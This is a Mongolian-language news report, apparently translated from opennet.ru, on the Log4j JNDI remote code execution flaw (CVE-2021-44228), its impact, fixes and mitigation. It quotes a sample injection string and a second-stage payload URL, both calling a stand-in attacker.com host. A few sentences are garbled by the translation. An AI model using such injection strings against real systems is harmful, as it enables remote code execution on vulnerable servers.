Олон Java төслүүдэд нөлөөлж буй Apache Log4j-ийн сүйрлийн эмзэг байдал

Java програмын бүртгэлийг зохион байгуулах түгээмэл хүрээ болох Apache Log4j-д “{jndi:URL}” форматаар тусгайлан форматлагдсан утгыг бүртгэлд бичих үед дур зоргоороо кодыг гүйцэтгэх боломжийг олгодог чухал сул талыг илрүүлсэн. Халдлагыг гадны эх сурвалжаас хүлээн авсан утгыг бүртгэдэг Java програмууд дээр, жишээлбэл, алдааны мессеж дэх асуудалтай утгыг харуулах үед хийж болно.

Apache Struts, Apache Solr, Apache Druid эсвэл Apache Flink гэх мэт фреймворк ашигладаг бараг бүх төслүүд Steam, Apple iCloud, Minecraft клиентүүд болон серверүүд зэрэг асуудалд өртөж байгааг тэмдэглэжээ. Энэ эмзэг байдал нь Fortune-ийн 65% нь вэб программуудад ашигладаг Apache Struts хүрээн дэх чухал эмзэг байдлын түүхийг давтаж, корпорацийн програмууд руу их хэмжээний халдлагын давалгаанд хүргэж болзошгүй гэж үзэж байна. 100 компани, үүнд эмзэг системийг сканнердах оролдлого.

Ажиллаж буй мөлжлөг аль хэдийн хэвлэгдсэн боловч тогтвортой салбаруудын засварыг хараахан эмхэтгээгүй байгаа нь асуудлыг улам хүндрүүлж байна. CVE танигчийг хараахан өгөөгүй байна. Засварыг зөвхөн log4j-2.15.0-rc1 тестийн салбарт оруулсан болно. Эмзэг байдлыг хаахын тулд log4j2.formatMsgNoLookups параметрийг үнэн болгохыг зөвлөж байна.

Асуудал нь log4j нь JNDI (Java нэршил ба лавлах интерфэйс) асуулга явуулах боломжтой логийн гаралтын мөрөнд "{}" тусгай маск боловсруулахыг дэмждэгтэй холбоотой юм. Энэхүү халдлага нь "${jndi:ldap://attacker.com/a}" гэсэн орлуулалт бүхий стринг дамжуулахад хүргэдэг бөгөөд үүнийг боловсруулсны дараа log4j нь Java анги руу нэвтрэх LDAP хүсэлтийг attacker.com сервер рүү илгээнэ. . Халдагчийн серверээс буцаасан зам (жишээ нь http://second-stage.attacker.com/Exploit.class) нь одоогийн үйл явцын контекст дээр ачаалагдаж, гүйцэтгэгдэх бөгөөд энэ нь халдагч этгээд дээр дурын кодыг ажиллуулах боломжийг олгодог. одоогийн хэрэглээний эрх бүхий систем.

Нэмэлт 1: Эмзэг байдлыг CVE-2021-44228 танигчаар өгсөн.

Нэмэлт 2: log4j-2.15.0-rc1 хувилбараар нэмсэн хамгаалалтыг тойрч гарах аргыг тодорхойлсон. Эмзэг байдлаас илүү бүрэн хамгаалалттай log4j-2.15.0-rc2 гэсэн шинэ шинэчлэлтийг санал болгосон. Буруу форматтай JNDI URL ашигласан тохиолдолд хэвийн бус цуцлалт байхгүйтэй холбоотой өөрчлөлтийг код онцолж байна.

Эх сурвалж: opennet.ru

сэтгэгдэл нэмэх